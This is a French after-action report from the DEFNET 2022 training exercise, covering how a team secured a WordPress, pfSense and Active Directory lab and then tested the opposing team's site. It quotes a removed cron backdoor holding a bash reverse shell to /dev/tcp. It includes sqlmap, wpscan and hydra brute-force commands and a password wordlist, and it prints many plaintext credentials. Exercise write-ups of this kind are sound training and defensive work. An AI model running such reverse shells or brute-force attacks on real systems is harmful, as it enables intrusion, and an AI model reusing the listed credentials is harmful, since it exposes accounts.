DEFNET 2022
===========
[toc]

# Contexte

De multiples failles de sécurité ont été détectées au sein des entreprises d'Issy-les-Moulineaux et de Limoges de la BITD. Par précaution, les entreprises ont été isolées d'internet et deux équipes sont dépêchées sur place (une par site).

La priorité est de sécuriser le site web et d'y rétablir l'accès (reconnexion à internet) pour permettre la continuité de service.

Dans l'optique de poursuivre l'amélioration de la sécurité des différents sites, les équipes mettront au point un plan de test et exploreront les éventuelles failles résiduelles présentes sur l'autre site.

Pendant toute cette période, il faut qu'un accès externe d'administration soit disponible et que le site soit accessible depuis internet.

# Organisation de l'équipe

## Répartition des configurations VPN :
1. Enzo
2. Thomas
3. Loan
4. Lucas
5. Dana

## Répartition de la charge de travail :
- **L2 web** : Lucas / Thomas
- **L2 srv** : Enzo / Dana
- **L2 Admin/User** : Loan
- **PFSense** : Loan
- **Rapport** : Pauline / Axel
- **Chef d'équipe** : Steven

# Audit mené et sécurisation de l'infrastructure

Sur les machines, plusieurs éléments ont été vérifiés en priorité :
- est-ce que quelqu'un est connecté ;
- compte créés récemment avec des privilèges ;
- processus actifs et cron.

## P1 : Rétablir l'accès au site Wordpress

Lors de l'accès par VPN : arrivée dans le réseau `172.16.0.0/24`

### 9:30 : Premier accès

Des creds sont donnés pour se connecter via RDP sur l'IP `10.100.0.2` :
- le flux RDP redirige vers une machine Windows : IP 192.168.131.101 ; hostname = PC Admin Sec
- Le flux HTTP redirige vers un site Wordpress

### 192.168.131.101 : PC Admin Sec
Connexion en RDP : sur le bureau, fichier texte contenant des creds pour *pffront*, *pfback* + clés ssh

Known_hosts de *PC_Admin_Sec* (192.168.131.101) :
- 192.168.129.30 : docker
- 192.168.129.1 : pfsense front
- 192.168.131.1 : pfsense back

### psense front
Connexion possible avec les creds récupérés sur PC Admin Sec : `admin:marseille`
**10:15** - Le mot de passe est donc changé immédiatement : `admin:!@^^&JBkZrdfwZerFiNHBJ3UH`

La clé SSH suivante et également retirée :

ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAoZSoi1aoNP5i7dxqd6ruZCRV0VVVIp4HOyiF84gjMu3g3WDoxCuce52x+ywX5HNcNzUvU7cAkfyN2sU9cYmcHWqqXYFZzITHdpvxsSRXbwy0JpjhUDuUh8+NBkpoHcyUt72LkK4S7vQhqgJ767bNEcjQGoFklljjlk05cDOzU6F8g/0Ey3oJsC9h+5J0gk7NioQfsFZHjNKDqVes4fbmBDzjjBBUCtQWiSsTtz4wTXIyXQlSIFAfkcldGh+tccupYQNMdm7alyY9pijuG9aPMNsy2LHDXhRPF42rSASLzRRJDCeRZJULO7ejvQwBRQXiQRaevzuD/cFOEoubFBPWDQ== rsa-key-20211210

**11:00** - Instabilité constante de la connexion vers l'IP 10.100.0.2:8080 : interface web de pffront (trouvé via nmap)

Les règles de redirection de ports sont étudiées :


**11:58** - Changement du mot de passe de l'utilisateur `toor` sur *pffront*

**13:00** - Problème d'accès à toute l'infrastructure :arrow_right: suppression des règles du firewall puis rétablissement des règles

**13:50** - Modification du mot de passe du compte `root` :`root:45n5JT8JQjm3jp`

### pfback : 192.168.129.2 / 192.168.130.1 / 192.168.131.1 / 192.168.132.1
Possibilité de rebond sur le pfback (via SSH) sur le pffront

Connexion directement sur 10.100.0.2:2222 via les creds découverts `admin:marseille`
Modification immédiate du mot de passe trop faible `admin:N8r4Vj8zRD2n8d`

### Pare-feu pf-team.team1 10.100.0.1 / 10.100.2.1

- Pas d'accès SSH
- Ping uniquement sur le 10.100.2.1
- Géré par le FAI donc abandon des recherches sur cette machine

### L2 Web

#### Nginx : 192.168.129.20

Accès SSH : 10.100.0.2:2224

Connexion par SSH via la le pffront

Creds initial :`root:root`
Nouveaux : `root:rX89avjN6eJ56D`

Configuration en reverse-proxy
Rien de spécial au niveau des processus / bash history

ports ouverts : 22 (ssh = root:root) et 80 (démon nginx)

#### Wordpress : 192.168.129.10

Nom de domaine wordpress.team1.myprepa.ops découvert sur nginx

Accès SSH : 10.100.0.2:2225 avec les clés trouvées sur le RDP

Creds initials:`root:root` modifié en `root:65LizZ3K9dW8tk `

Mise à jour du mot de passe Wordpress panel admin :`root: GLKl7F*wr7MfeV(K^mooef$V`

Pas d'autre utilisateur connecté

Nom de domaine du site : presentation.myprepa.ops

Le wordpress se connecte vers l'IP 172.31.254.2

Utilisateurs créés dans la base de donnée :

admin-suser:PASSWORD
wordpress:wordpress
root:root

modifiés en

admin-suser: 53QnF9C3ki2xqR 
wordpress: EiYW7Ft6n62hy6 
root: Ug3iptEc34T46C 

Problème DNS :
Accès au site web via l'adresse IP OK (10.100.0.2) cependant, pas de chargement du style du site :

hfef='http://192.168.129.10/index...'

:arrow_right: Reconfiguration du wordpress
**11:51** - Changement du mot de passe de ces deux utilisateurs après confirmation avec le responsable de la bdd

SET PASSWORD FOR 'admin-suser'@'localhost' = '53QnF9C3ki2xqR';
SET PASSWORD FOR 'wordpress'@'localhost' = 'EiYW7Ft6n62hy6';
SET PASSWORD FOR 'root'@'localhost' = 'R5eEi5x6Gh23eC';

UPDATE wp_options SET option_value = replace(option_value, 'http://192.168.129.10', 'http://wordpress.team1.myprepa.ops') WHERE option_name = 'home' OR option_name = 'siteurl';

UPDATE wp_posts SET guid = replace(guid,'http://192.168.129.10','http://wordpress.team1.myprepa.ops');

UPDATE wp_posts SET post_content = replace(post_content, 'http://192.168.129.10', 'http://wordpress.team1.myprepa.ops');

UPDATE wp_postmeta SET meta_value = replace(meta_value,'http://192.168.129.10','http://wordpress.team1.myprepa.ops');

#### Docker : 192.168.129.30

Accès SSH : 10.100.0.2:2223

Docker : 10.100.0.2:9090

Creds initial:`root:root`

**10:20** - Découverte d'un cron de connexion ssh vers le réseau de la team2 toutes les 5 minutes. Supression de la règles + fermeture du port concerné (9090) sur le pffront.

*/1 * * * * /bin/bash -c '/bin/bash -i >& /dev/tcp/10.101.0.2/9090 0>&1'

Changement des creds par défaut, suppression des accès SSH.

### 10:15 - Changement des mots de passe root des machines du réseau L2 web

- Nouveaux creds sur Teams

- Suppression des clés SSH autorisées à 10h25

### 10:40 - Priorité sur pf-team-team1 pour avoir des logs
Tentative d'avoir accès au pf-team-team1 (ssh, web, nmap, etc. ) suite à une perte d'accès absolue.

### 11:10 - Stratégie : rentrer en dur le DNS interne dans une machine, et tenter de joindre le domaine pour voir si la résolution fonctionne

La résolution DNS fonctionne, donc lorsque le lien Internet sera remonté, le site devrait être résolu et fonctionner normalement

Quid du serveur Docker? Aucune utilité de trouvée.

### 11h45 - retour du lien internet
Le site n'est pas accessible, problème de résolution DNS. Le site fonctionne uniquement via l'IP.

## Sécurisation du reste de l'infrastructure

Compte rendu final :

- Contexte
- Audit
- Remédiation
- Plan de test
- Conclusion

### Clients
Tentative de connexion aux Clients PC1, PC2, PC3 avec le compte administrator, sans succès. Création de COMCYBER1 et COMCYBER2 depuis le DC (14:00). Sans succès non plus.

### AD 192.168.130.10

Modification du mot de passe d'`administrator:6n27DbdRAAr3Tj9`

Création dutilisateurs RDP sur les PC :

COMCYBER1: s26D&j$zMUR8YMFaQrLy 
COMCYBER2: n6*9rTGtryXQm9C#gzYg 

#### Pivoting pour se connecter

xfreerdp /v:10.100.0.2 /u:administrator /p:SIGEN123456! /port:3390 /dynamic-resolution /clipboard

#### Analyse du script d'installation de l'AD

Mot de passe utilisateur par défaut : `Passw0rd`

#New-ADUser -Name tcoffee -AccountPassword (ConvertTo-SecureString -String Passw0rd -AsPlainText -force) -GivenName "Tracey" -Surname "Coffee" -ChangePasswordAtLogon 0 -Path "CN=Users, DC=sigen, DC=net" -Enabled 1 

#New-ADUser -Name dmeyer -AccountPassword (ConvertTo-SecureString -String Passw0rd -AsPlainText -force) -GivenName "David" -Surname "Meyer" -ChangePasswordAtLogon 0 -Path "CN=Users, DC=sigen, DC=net" -Enabled 1 

#New-ADUser -Name jmatte -AccountPassword (ConvertTo-SecureString -String Passw0rd -AsPlainText -force) -GivenName "James" -Surname "Matte" -ChangePasswordAtLogon 0 -Path "CN=Users, DC=sigen, DC=net" -Enabled 1 

#New-ADUser -Name alefebvre -AccountPassword (ConvertTo-SecureString -String Passw0rd -AsPlainText -force) -GivenName "Arthur" -Surname "Lefebvre" -ChangePasswordAtLogon 0 -Path "CN=Users, DC=sigen, DC=net" -Enabled 1 

#New-ADUser -Name abarrientos -AccountPassword (ConvertTo-SecureString -String Passw0rd -AsPlainText -force) -GivenName "Agnes" -Surname "Barrientos" -ChangePasswordAtLogon 0 -Path "CN=Users, DC=sigen, DC=net" -Enabled 1 

Désactivation du spouleur d'impression

### DFS

Présence de données bancaires

## Mail

Présence de credentials (les mêmes que sur l'AD)

# Plan de test

## Perimètre :
- Site web : **http://10.101.0.2**
- Range IP : **10.101.0.0/24**

## Tests à réaliser :
- **Site web**
- Vérification des creds par défaut (*test manuel*)
- Vérification du code source (*test manuel*)
- Audit global (*nikto -h IP*)
- Audit Wordpress (*wpscan --url URL*)
- Enumeration de repertoires (*gobuster dir -u URL -w /usr/share/seclists/Discovery/Web-content/raft-medium-directoies.txt*)
- **Range IP**
- Découverte du réseau (*nmap -T5 -F -sSUC*)
- Listing des machines accessibles (*nmap range/16*)
- Ports et services associés (*nmap -p\<PORT> -sV*)
- Verifications des creds par défaut (*test manuel*)

## Tableau

| Nom de la machine | Technologie | Outil | Résultat |
| ----------------- | ----------- | ----- | -------- |
| AD | WinServ2016 | | |
| DFS | WinServ2016 | | |
| Mail | Exchange - WinServ2016 | | |
| PcAdm-sec-team1 | Windows | | |
| docker | debian 11 | | |
| nginx | 1.14.2 / debian 10 | | |
| wordpress | 5.9.1 / debian 10 | wpscan | |
| pffront | Firewall PFSense | | |
| pfback | Firewall PFSense | | |

### Vérification de la protection du site web

#### SQL

Nous commencons par évaluer la présence d'injection SQL. Cela pourrait nous permettre d'accéder à des ressources de la base de données afin de compromettre le site internet.

sqlmap -u "http://wordpress.team2.myprepa.ops/wp-login.php" --data "log=a&pwd=b" --dbs

#### Brute Force

Nous avons également vérifier la robustesse des comptes utilisateurs en réalisant une attaque par force brute, en se basant sur des users et passwords souvent utilisés.

wpscan --url http://wordpress.team2.myprepa.ops -U user.txt -P pass.txt --password-attack wp-login

#### XSS

Le cross-site scripting est un type de faille de sécurité des sites web permettant d'injecter du contenu dans une page, provoquant ainsi des actions sur les navigateurs web visitant la page. Dans notre cas, cela n'est pas interprété.


### Enumeration web :
URL : http://10.101.0.2

- Répertoire `/wp-content/upload` accessible en lecture seule.
- Divulgation de version : `Apache 2.4.38`

http://10.101.0.2/wp-content/uploads/


- XML-RPC activé : permet de lister les méthodes activées sur le serveur.

# Résultat
L'énumération a permis d'établir une liste de ports ouverts sur les machines exposées.

Grâce à un mot de passe laissé accessible sur un tableau blanc, nous avons réussi à nous connecter en `ssh` sur le serveur hébergeant le WordPress:

hydra -L WordlistUser  -P WordlistPass  -f 10.101.0.2 -s 2225 ssh -V
[2225][ssh] host: 10.101.0.2   login: jean   password: aDm1nW0rdPr355


sudo nmap -p 0-10000 -R -T4 -sS --open --max-retries 2 --min-rate 500 --initial-rtt-timeout 300ms --min-rtt-timeout 50ms --max-rtt-timeout 300ms --max-scan-delay 1 -Pn 10.100.0.2 -v  -f -d


Liste des mots de passe testés :

SIGEN123456!
Passw0rd
root
toor
marseille
wordpress
aDm1nBr4v0
aDm1nBr4v0B4c4
aDm1nW0rdPr355
aDm1nNg1nx

# Conclusion

Les premières mesures de sécurisation ont été de modifier les mots de passe des comptes et de supprimer les connexions SSH (utilisateurs de l'AD, utilisateurs des différents serveurs).
Certains services ont été désactivés et une backdoor (sur le docker) supprimée.

Nous avons également relevé :
- la présence de mots de passe en clair dans les scripts de configuration de l'AD, dans un fichier sur le DFS, sur le bureau de PcAdm-sec-team1 ;
- la présence de coordonnées bancaires en clair sur le serveur de fichier ;
- l'absence de serveur de log et de supervision dans l'architecture.

Proposition d'amélioration de la sécurité de l'infrastructure :
- Mettre à jour les windows serveur
- Ne pas se connecter en administrateur du domaine sur des machines clientes, utiliser le principe du moindre privilège ou une solution PAM
- Mettre en place une politique de mot de passe
- Ne permettre la connexion aux serveurs via SSH uniquement par clé
- Créer un accès VPN pour permettre l'accès au machines internes depuis internet pour les techniciens
- Mettre en place d'un bastion au niveau du pffront, ce qui permet de fermer les flux d'administration depuis l'extérieur
- Mettre en place une méthode contre les attaques par force brute
- Mettre en place un IDS
- Renforcer la politique de mot de passe.